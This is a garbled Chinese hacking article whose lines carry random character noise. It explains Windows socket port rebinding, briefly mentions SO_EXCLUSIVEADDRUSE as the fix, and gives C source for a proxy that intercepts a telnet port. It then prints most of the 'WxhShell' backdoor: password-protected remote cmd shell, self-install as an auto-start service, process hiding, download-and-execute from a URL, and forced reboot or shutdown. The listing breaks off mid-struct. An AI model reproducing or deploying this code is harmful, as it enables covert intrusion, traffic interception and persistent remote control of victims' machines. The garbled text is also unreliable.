在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
/s*>V@Q s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
x}>tX ]R>k0X.V saddr.sin_family = AF_INET;
K;xW/7? ];2eIe
saddr.sin_addr.s_addr = htonl(INADDR_ANY);
QBn>@jq =,]J"n8|v bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
Gf]s?J^a fY"28# 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
tx1jBh:e= coFg69\^ 这意味着什么?意味着可以进行如下的攻击:
kL|Y-(FPo% A7RX2 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
(MIw$)#^ ;VFr5.*x 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
7~Ga>BK _TXV{<E6 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
Y#Vy:x[ rlIEch^wZ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
udZ: OU< PC_4#6^5 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
zB$6e!fc >C}RZdO~ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
@Kr)$F c-=0l)&'D= 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
.>'Z9.Xnk F`Y<(]+
#include
5#o,]tP #include
ibc/x v2 #include
qU
n> #include
5l}h8So4 DWORD WINAPI ClientThread(LPVOID lpParam);
6;pREM+ int main()
T!a[@,)_
{
7&)F;;H WORD wVersionRequested;
y#DQOY+@^# DWORD ret;
y)E2=JQA/ WSADATA wsaData;
6<Wr
8u, BOOL val;
X8x>oV;8 SOCKADDR_IN saddr;
Z :+#3.4$3 SOCKADDR_IN scaddr;
K-u/q6ufK int err;
o?FUVK SOCKET s;
kwR@oVR^ SOCKET sc;
fO>~V1 int caddsize;
AZy2Pu56 HANDLE mt;
rtx]dc1m DWORD tid;
N=wy)+ wVersionRequested = MAKEWORD( 2, 2 );
*^Y0}?]qT err = WSAStartup( wVersionRequested, &wsaData );
*KH@u if ( err != 0 ) {
UJ$:5*S=u printf("error!WSAStartup failed!\n");
Z|%2495\ return -1;
Fd&!-`T? }
u/c3omY"# saddr.sin_family = AF_INET;
ug"<\" Z;\"pP: //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
2] G$6H X",0VO saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
+|YZEC
saddr.sin_port = htons(23);
gdE `UZ\ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
{taVAcb {
'2$!thm printf("error!socket failed!\n");
*yq] return -1;
/'fDXSdP }
/.YAFH|i)" val = TRUE;
F(~_L. //SO_REUSEADDR选项就是可以实现端口重绑定的
6n\z53Mk if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
0DVZRB {
WAXts]= printf("error!setsockopt failed!\n");
'Sy *'& return -1;
ZNpExfGEU }
<Iyot]E //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
OrEuQ-,i@ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
Ij}F<ZgZG //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
zZ"U9!T <-B"|u if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
f
H|QAMfOu {
L|lmStwe ret=GetLastError();
,,gLrVk printf("error!bind failed!\n");
k7|z$=zY return -1;
K}E7|gdG }
A:bPIXb listen(s,2);
27E9NO= while(1)
~K-*q{6Q {
t)gi.Ed1"L caddsize = sizeof(scaddr);
v<3o[m q //接受连接请求
Ig Vo%)n sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
j H.Ju|nO if(sc!=INVALID_SOCKET)
rH&r6Xv[ {
yvooM'R mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
k/_8!^:' if(mt==NULL)
(ND5CKCR^ {
H8-D'q>R printf("Thread Creat Failed!\n");
Fb|e]?w break;
grCO-S|j^ }
e@:P2(WWl }
UhSh(E8p> CloseHandle(mt);
12tJrS*Z }
..q63dr closesocket(s);
/}nrF4S WSACleanup();
9jMC|oE return 0;
8{G?92
{rN }
[EmOA.6 DWORD WINAPI ClientThread(LPVOID lpParam)
'z-;* !A}j {
NDRW SOCKET ss = (SOCKET)lpParam;
v;fJM5PA SOCKET sc;
b$?Xn {Y unsigned char buf[4096];
3"'# |6O9 SOCKADDR_IN saddr;
N4a`8dS| long num;
>lraYMc<rZ DWORD val;
<o&o=Y8 DWORD ret;
Gpdv]SON{ //如果是隐藏端口应用的话,可以在此处加一些判断
1iNsX\M //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
.Na&I)udX. saddr.sin_family = AF_INET;
:F7k{~ saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
Jt2,LL:G saddr.sin_port = htons(23);
?{
B[^ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
aJ:A%+1 {
y Y>-MoF/t printf("error!socket failed!\n");
a[1sA12 return -1;
{H=oxa }
zBk_-'z val = 100;
Hva2j<h if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
8pYyG
| \ {
L w>-7) ret = GetLastError();
0LWdJ($? return -1;
klgv{_b }
9?uqQ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
^Sy^+=wK3 {
\#PP8 ret = GetLastError();
[O^}rUqq return -1;
JAc@S20v\ }
`FUFK/7
w\ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
OuB2 x=B {
(E!%v`_0 printf("error!socket connect failed!\n");
RK?jtb=&A closesocket(sc);
C@%iQ]= closesocket(ss);
3PfiQ|/b return -1;
B ,V(LTE }
5pO]vBT while(1)
7egq4gN]2Y {
/sy-;JDnsu //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
Ll,I-BQ9 //如果是嗅探内容的话,可以再此处进行内容分析和记录
49o\^<4b //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
sNL+F num = recv(ss,buf,4096,0);
V
{p*z if(num>0)
LyIKP$t send(sc,buf,num,0);
+|6`E3j% else if(num==0)
5i6VZv break;
ri: ,q/- num = recv(sc,buf,4096,0);
$Jc q7E~ if(num>0)
=tq1ogE send(ss,buf,num,0);
k!&:(] else if(num==0)
C?/r; break;
GSP?X$E }
kL|\wci closesocket(ss);
1t.R+1[c closesocket(sc);
$|k%@Q> return 0 ;
-OWZ6#v( }
)#a7'Ba .@@an;C Y17hOKc` ==========================================================
Y~}5axSPH ul$,q05nb 下边附上一个代码,,WXhSHELL
f~q4{ 5Dd:r{{ Q ==========================================================
z|I0-1tAK +Juh:1H #include "stdafx.h"
NEw$q4 4^[
/=J} #include <stdio.h>
$Zxt&a #include <string.h>
uaaf9SL? #include <windows.h>
J#''q"rZ #include <winsock2.h>
*1$ #include <winsvc.h>
_%B/!)v #include <urlmon.h>
!>3LGu, tb,9a!? #pragma comment (lib, "Ws2_32.lib")
N'QqJe7Z #pragma comment (lib, "urlmon.lib")
~>g+2]Bn>$ f}iU& 3S #define MAX_USER 100 // 最大客户端连接数
g5Hr7Km #define BUF_SOCK 200 // sock buffer
doR4nRl9 #define KEY_BUFF 255 // 输入 buffer
t"|DWC* 2)9r'ai?a #define REBOOT 0 // 重启
\J3/keL #define SHUTDOWN 1 // 关机
wt?o
7R2 E{%SR #define DEF_PORT 5000 // 监听端口
nxfoWy OhFW*v #define REG_LEN 16 // 注册表键长度
r[pF^y0 #define SVC_LEN 80 // NT服务名长度
q=4Bny0 "%@v++4y // 从dll定义API
RV;!05^< typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
)+EN$*H typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
#K|9^4jt typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
?aWx(dVQ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
p!DP`Ouc3\ 8:dQ._#v // wxhshell配置信息
rt}^4IqL struct WSCFG {
7u|B ](FS int ws_port; // 监听端口
:FHA]oec1 char ws_passstr[REG_LEN]; // 口令
J'Sm0 int ws_autoins; // 安装标记, 1=yes 0=no
[>Fm[5x char ws_regname[REG_LEN]; // 注册表键名
suVmg-d char ws_svcname[REG_LEN]; // 服务名
bK*~ol char ws_svcdisp[SVC_LEN]; // 服务显示名
Qihdn66 char ws_svcdesc[SVC_LEN]; // 服务描述信息
G%:GeW char ws_passmsg[SVC_LEN]; // 密码输入提示信息
tJU-<{8 int ws_downexe; // 下载执行标记, 1=yes 0=no
D*2\{W/ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
bRsTBp;R`I char ws_filenam[SVC_LEN]; // 下载后保存的文件名
#ekM"p \TbVS8e^ };
|5MbAqjzC 7x k|+! // default Wxhshell configuration
fY W|p<Q0 struct WSCFG wscfg={DEF_PORT,
|He=LQ}0 "xuhuanlingzhe",
kbI/4IRW 1,
D/ Dt "Wxhshell",
$[ z y "Wxhshell",
cUk*C "WxhShell Service",
~ ?^/u8 "Wrsky Windows CmdShell Service",
Yj3I5RG "Please Input Your Password: ",
'jfRt-_- 1,
A)NkT`<) "
http://www.wrsky.com/wxhshell.exe",
=RKSag& "Wxhshell.exe"
`u_Qa };
{hdPhL <02m%rhuW // 消息定义模块
5V5w:U>_z char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
D4u%6R|F char *msg_ws_prompt="\n\r? for help\n\r#>";
$xgBKD char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
^@6q char *msg_ws_ext="\n\rExit.";
E"PcrWB& char *msg_ws_end="\n\rQuit.";
MaY682}|y char *msg_ws_boot="\n\rReboot...";
V5mTu)tp5 char *msg_ws_poff="\n\rShutdown...";
anN#5jt char *msg_ws_down="\n\rSave to ";
@N.jB#nEb zI;0& char *msg_ws_err="\n\rErr!";
md Gwh7/3 char *msg_ws_ok="\n\rOK!";
=xN= # 5.0e~zlM- char ExeFile[MAX_PATH];
wdas1 int nUser = 0;
*_-'/i HANDLE handles[MAX_USER];
Gc,_v3\ int OsIsNt;
[2c{k dK9Zg,DZL SERVICE_STATUS serviceStatus;
Yl^mAS[w& SERVICE_STATUS_HANDLE hServiceStatusHandle;
[k%4eO2p " _lxco=qd=% // 函数声明
Xyx"A(v^l int Install(void);
_e<o7Y@_ int Uninstall(void);
Dm0a.J v int DownloadFile(char *sURL, SOCKET wsh);
r6.d s^ int Boot(int flag);
R^&q-M=O[ void HideProc(void);
Ctu?o+^;z int GetOsVer(void);
j;~%lg=) int Wxhshell(SOCKET wsl);
nHXX\i void TalkWithClient(void *cs);
mI1H! int CmdShell(SOCKET sock);
['qnn| int StartFromService(void);
#1nJ(-D+ int StartWxhshell(LPSTR lpCmdLine);
iw?I 2t#L:vY VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
S~OhtHwK VOID WINAPI NTServiceHandler( DWORD fdwControl );
%yS3&Ju Hf gz02Z$ // 数据结构和表定义
Fj
p.T; SERVICE_TABLE_ENTRY DispatchTable[] =
WgQBGch,! {
@* ust>7 {wscfg.ws_svcname, NTServiceMain},
ts~{w;c {NULL, NULL}
clO,}Ph> };
^%T7. 1'x z_|oCT!6 // 自我安装
{Tp2H_EG int Install(void)
n$L51#' {
vG41C k1 char svExeFile[MAX_PATH];
k=ytuV\ HKEY key;
WN]<q`. strcpy(svExeFile,ExeFile);
g=@_Z" <cN~jv-w$ // 如果是win9x系统,修改注册表设为自启动
dI'SwnR if(!OsIsNt) {
3INI?y}t if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
7L5P%zLtB RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
uzOYVN$t RegCloseKey(key);
bzpFbfb if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
3
fj RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
T.e.{yO RegCloseKey(key);
x[_=#8~.1x return 0;
y^>Q/H\
}
JtKp(k& }
`TqSQg_l }
a
dfR!&J else {
NcS.49 .1 )RW5|c // 如果是NT以上系统,安装为系统服务
6c4&VW SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
-;(Q1)& if (schSCManager!=0)
{Bvj"mL]j {
cV
K7 SC_HANDLE schService = CreateService
[4Ll0GSp (
R"Liz3Vl% schSCManager,
rM}0%J' wscfg.ws_svcname,
R@Y=o].2 wscfg.ws_svcdisp,
'Ye v}QM SERVICE_ALL_ACCESS,
BbOu/i| SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
kfb/n)b' SERVICE_AUTO_START,
b8KsR=]4I SERVICE_ERROR_NORMAL,
Lm*VN~2 svExeFile,
*V^ #ga#A NULL,
A?!I/|E^; NULL,
hn)a@ NULL,
u^W2UE\ NULL,
t q50fq' NULL
?8@>6IXn );
p0p4Xh1e if (schService!=0)
Z,7R;,qX {
^n.WZUk CloseServiceHandle(schService);
5`[n8mU CloseServiceHandle(schSCManager);
?^#lWx q strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
:&XH?/Wi strcat(svExeFile,wscfg.ws_svcname);
%GEJnJ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
SjEAuRDvUz RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
H5>hx{ RegCloseKey(key);
4 {GU6v)f return 0;
&p
UZDjo? }
WP**a Bp }
Kr`]_m CloseServiceHandle(schSCManager);
#_
C }
yR~-k?7b }
u'A#%}3 '(&%O8Yi return 1;
" K* }
7cg*|E@ 1r)kR@!LNG // 自我卸载
ra ' int Uninstall(void)
\[2lvft! {
*~$~yM/~3U HKEY key;
G28O%jD? gieJ}Bv if(!OsIsNt) {
&:*q_$]Oz if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
({}( qm RegDeleteValue(key,wscfg.ws_regname);
)wXuwdc[ RegCloseKey(key);
vm23U^VJ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
>n5:1.g RegDeleteValue(key,wscfg.ws_regname);
RH;:9_*F RegCloseKey(key);
eDO!^.<5 return 0;
72T I }
uUR~&8ERX }
N^?9ZO }
}S_oH9A else {
pj|pcv^ ER&UBUu" SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
>"X\>M`" if (schSCManager!=0)
hm$X]H`uMX {
c2SC|s] SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
4_M>OD/" if (schService!=0)
8
}'|]JK {
{43yb_B( if(DeleteService(schService)!=0) {
(3vHY`9 CloseServiceHandle(schService);
{-zMHVw=} CloseServiceHandle(schSCManager);
omZO+=8Q return 0;
]bCq=6ZKR }
'$|UwT`s CloseServiceHandle(schService);
}WFf''Z- }
2R-A@UE2 CloseServiceHandle(schSCManager);
3Q}$fQ&S }
`A%^UCd }
{kI#A?M |BMV.Zi return 1;
>P KBo }
<{(/E0~V/< ;_kzcK!l // 从指定url下载文件
<M?: int DownloadFile(char *sURL, SOCKET wsh)
tEd.'D8 s {
p(SRjQt HRESULT hr;
>r5P3G1 char seps[]= "/";
Lr;(xw\[' char *token;
|8_JY2
R char *file;
|rRO@18dA char myURL[MAX_PATH];
B=L&bx char myFILE[MAX_PATH];
FwKj+f" #4LFG\s strcpy(myURL,sURL);
n#Dv2 E=6 token=strtok(myURL,seps);
:S@1 while(token!=NULL)
}]1BO {
x LBQ file=token;
Ko>&)%))$X token=strtok(NULL,seps);
}S-DB#6 }
Q~D`cc|] z(uZF3 GetCurrentDirectory(MAX_PATH,myFILE);
9ch#}/7B strcat(myFILE, "\\");
q}Z3?W
strcat(myFILE, file);
~%u|[$ send(wsh,myFILE,strlen(myFILE),0);
Bc-yxjsw send(wsh,"...",3,0);
:m=m}3/: hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
u]^N&2UW if(hr==S_OK)
^62|d return 0;
G}@#u9 else
8qi+IGRg return 1;
z7.|fE)<6 9ILIEm: }
t-u|U(n NY$uq+Z> // 系统电源模块
g o5]<4`r int Boot(int flag)
BIaDY<j90 {
~sQjl] HANDLE hToken;
kpwt]]e* TOKEN_PRIVILEGES tkp;
fa*Cpt: k?BJdg)xJ if(OsIsNt) {
gsar[gZ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
$$i.O} LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
7x]4`#u tkp.PrivilegeCount = 1;
Q0?\]2eet9 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
6Q4X6U:WB AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
C;AA/4Ib if(flag==REBOOT) {
:_<_[Y]1 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
=+5,B\~q@C return 0;
js^ ,(CS }
S&O3HC else {
foF19_2 , if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
%1
KbS
[ return 0;
uaw~r2 }
QZAB=rR }
(w( else {
S|V4[ssB if(flag==REBOOT) {
5cr(S~Q; if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
72W,FU~OD return 0;
R9We/FhOY }
m8Vdb"0 else {
'[|+aJ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
)"(] Lf's return 0;
=rA~7+} }
a/Q$cOs }
E"iUq d9*hBm return 1;
"|Fy+'5} }
l}^3fQXI m ~#! // win9x进程隐藏模块
w1x"
c>1C void HideProc(void)
k-V,~c {
%)jxW{ 5S
Xn? HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
f|A
riM if ( hKernel != NULL )
_8fr6tO+ {
_cTh#t ^ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
@}_WE,r ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
!?f5>Bl FreeLibrary(hKernel);
7qO a
;^T }
_LP/!D *b *G2f^ return;
n8=5-7UT }
m p<1yY] ~ *:F{ // 获取操作系统版本
WH ?}~u9 int GetOsVer(void)
/[:dp< {
!f>d_RG OSVERSIONINFO winfo;
AIb2k winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
OJT1d-5p GetVersionEx(&winfo);
#ywk|k5z] if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
?oZR.D|SZ return 1;
c,so`I3rI else
i|
\6JpNA: return 0;
tqAd$:L }
}nt*
[:% 64Lx-avf // 客户端句柄模块
AE: Z+rM* int Wxhshell(SOCKET wsl)
>56>*BHD {
fA'qd.{f^ SOCKET wsh;
PcB_oG g struct sockaddr_in client;
#T`t79*N DWORD myID;
fQrhsuCrC Ehzo05/! while(nUser<MAX_USER)
t+oJV+@ {
=4GSg1Biy int nSize=sizeof(client);
wf,7== wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
j4=(H:c~E if(wsh==INVALID_SOCKET) return 1;
yH][(o=2 2r$#m* handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
|t$Ma'P if(handles[nUser]==0)
O1')nYF7 closesocket(wsh);
0$r^C6}f else
:Hxv6 nUser++;
a^ ,(v }
#plY\0E@ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
lKk/p^: 9@Cv5L?p\ return 0;
Uye|9/w8 ! }
x8GJY~:SW o\vBOp?hj // 关闭 socket
j,]Y$B void CloseIt(SOCKET wsh)
8Lw B
B {
"RIZV closesocket(wsh);
q -8t'7 nUser--;
iR"N13 ExitThread(0);
!!Z?[rj }
w3jO6*_ M U`hY{E; // 客户端请求句柄
)8g(:`w void TalkWithClient(void *cs)
SwZA6R& {
ON+J>$[[ q+,Q<2J SOCKET wsh=(SOCKET)cs;
4tY ss char pwd[SVC_LEN];
V59(Z char cmd[KEY_BUFF];
$AHQmyg< char chr[1];
JU&+c6> int i,j;
](|\whI 3Gkv4,w< while (nUser < MAX_USER) {
$ImrOf^qt .bio7c6 if(wscfg.ws_passstr) {
7`u$ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
']+Uu'a //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
&r:7g%{n
//ZeroMemory(pwd,KEY_BUFF);
%.Q
!oYehj i=0;
!>:?rSg* while(i<SVC_LEN) {
;| 1$Q!4
W%\C_ // 设置超时
~g.$|^,.O/ fd_set FdRead;
1) Zf3Y8 struct timeval TimeOut;
D_Bb?o5 FD_ZERO(&FdRead);
4bgqg0z> FD_SET(wsh,&FdRead);
G}p\8Q}' TimeOut.tv_sec=8;
V*~Zs'L'E TimeOut.tv_usec=0;
iTaWu p int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
3h<, if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
[+P#tIL o6p98Dpg if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
_Zr.ba pwd
=chr[0]; sq'Pyz[[
if(chr[0]==0xd || chr[0]==0xa) { VH:]@x//{
pwd=0; GAAm0;
break; C"{k7yT
} KZeQ47|
i++; N\bocMc,X
} W|o'&
,GgAsj: K
// 如果是非法用户,关闭 socket M
%Qt|@O
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); S.a%
} GQ-Rtn4v
=lpQnj"
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); J4\ qEO
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); znHnVYll(
x+]\1p
while(1) { @62Mk},9 c
!3ctB3eJ
ZeroMemory(cmd,KEY_BUFF); n\Lb.}]1~
&>Vfa
// 自动支持客户端 telnet标准 _(KbiEB{
j=0; >i6yl5s
while(j<KEY_BUFF) { y.Z?LCd<
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); r4#o+qE
cmd[j]=chr[0]; yR\btx|e5~
if(chr[0]==0xa || chr[0]==0xd) { s@7H1)U
cmd[j]=0; /7YF mI/0
break; 9cj9SB4
} |u ;v27
j++; j.@\3'
} z+>}RT]
s
S7c!
// 下载文件 [r[=W!
if(strstr(cmd,"http://")) { ;I!MLI
send(wsh,msg_ws_down,strlen(msg_ws_down),0); \(vY%DL1:
if(DownloadFile(cmd,wsh)) y?q*WUh
send(wsh,msg_ws_err,strlen(msg_ws_err),0); }:~x7|~s:
else yiA<,!;4P
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Dv/WE>?Aw
} r#Oo
nZ
else { .>IhN 5
L;f!.FX#
switch(cmd[0]) { ,c)uX#1
;y2/-tL?
// 帮助 Zc`BiLzrIG
case '?': { S9",d~EM
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); E3iW-B8u8
break; ^:Gie
}
i|m3mcI%2
// 安装 a0ObBe'
case 'i': { gE?|_x#
if(Install()) 4sT88lG4n
send(wsh,msg_ws_err,strlen(msg_ws_err),0); YS%h^>I^
else \0f{S40
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >M/V oV
break; E L9]QI
} <>aw
1WM+
// 卸载 OUNd@o
case 'r': { D'Y-6W3
if(Uninstall()) &E=>Hj(dTG
send(wsh,msg_ws_err,strlen(msg_ws_err),0); XnWr5-;
else O6G0
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); d >t<_}
break; AQ[GO6$,%H
} vG"=h%
// 显示 wxhshell 所在路径 l|k`YC x
case 'p': { pj?f?.^
char svExeFile[MAX_PATH]; L>RP-x>
strcpy(svExeFile,"\n\r"); ~15N7=wCM
strcat(svExeFile,ExeFile); K%RxwM
send(wsh,svExeFile,strlen(svExeFile),0); pv Gf\pu
break; DRi<6Ob
} S_IUV)
// 重启 = < oBgD0k
case 'b': { ZU%[guf
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0);
T,
)__h
if(Boot(REBOOT)) %*0^0wz
send(wsh,msg_ws_err,strlen(msg_ws_err),0); cLsV`@J(k
else { n+A?"`6*#
closesocket(wsh); r 0iK
ExitThread(0); esMX-.8Cx
} 2vWx)Drb6
break; Lja>8m
} NP/Gn6fr
// 关机 jT]0WS-b
case 'd': { [VsKa\9u
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); f>UXD
if(Boot(SHUTDOWN)) HV{wI1
send(wsh,msg_ws_err,strlen(msg_ws_err),0); g9Xu@N;bL
else { :lPb.UCY
closesocket(wsh); zU
gE~
ExitThread(0); #\ X#w<\?
} !`,Sfqij
break; !O:y@
} Of[XKFn_
// 获取shell _lGdUt 2
case 's': { 4,CXJ2
CmdShell(wsh); Z\ja
closesocket(wsh); w&o&jAb-M
ExitThread(0); Vr^n1sgE}r
break; +'I+o5*
} OZ
|IA:,}
// 退出 x7jC)M<k0
case 'x': { x,|hU@h
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); V-Sd[
CloseIt(wsh); lyy W
break; O4cr*MCb5
} jv%kOovj
// 离开 |
r&k48@
case 'q': { &]v4@%<J
send(wsh,msg_ws_end,strlen(msg_ws_end),0); \n8]M\<
closesocket(wsh); >0ph9$
WSACleanup(); ;CmS ~K:
exit(1); jV>raCK_
break; }L+L"l&
}
UEM(@zD]
} _wkVwPr
} K]s[5
wsIW
|@
// 提示信息 >VP=MbN
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); E*V`":efS
} K9$>Yxe|
} 5NS[dQG5
2Ga7$q
return; 2ORNi,_I
} Z~oo;xE
4e~A1-
// shell模块句柄 8\^}~s$$A
int CmdShell(SOCKET sock) ~]pE'\D7Ad
{ OGde00
STARTUPINFO si; z3&]%Q&
ZeroMemory(&si,sizeof(si)); M dZ&A}S
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; @kpv{`Y
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 0B@SN)<kH
PROCESS_INFORMATION ProcessInfo; =vQcYa
char cmdline[]="cmd"; e+$p9k~
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 3 Nreqq
return 0; kbTm^y"
} lE;Ewg
WN{ 9
// 自身启动模式 .y_/U wu
int StartFromService(void) pk?w\A}
{ Q1O}ly}JS
typedef struct ,Sq/y~
{ *5vV6][
DWORD ExitStatus; y4*U6+ #.
DWORD PebBaseAddress; C8[&S&<_<
DWORD AffinityMask; co~Pyj
DWORD BasePriority; f!oT65Vmi
ULONG UniqueProcessId; [`{Z}q&
ULONG InheritedFromUniqueProcessId; bvv|;6
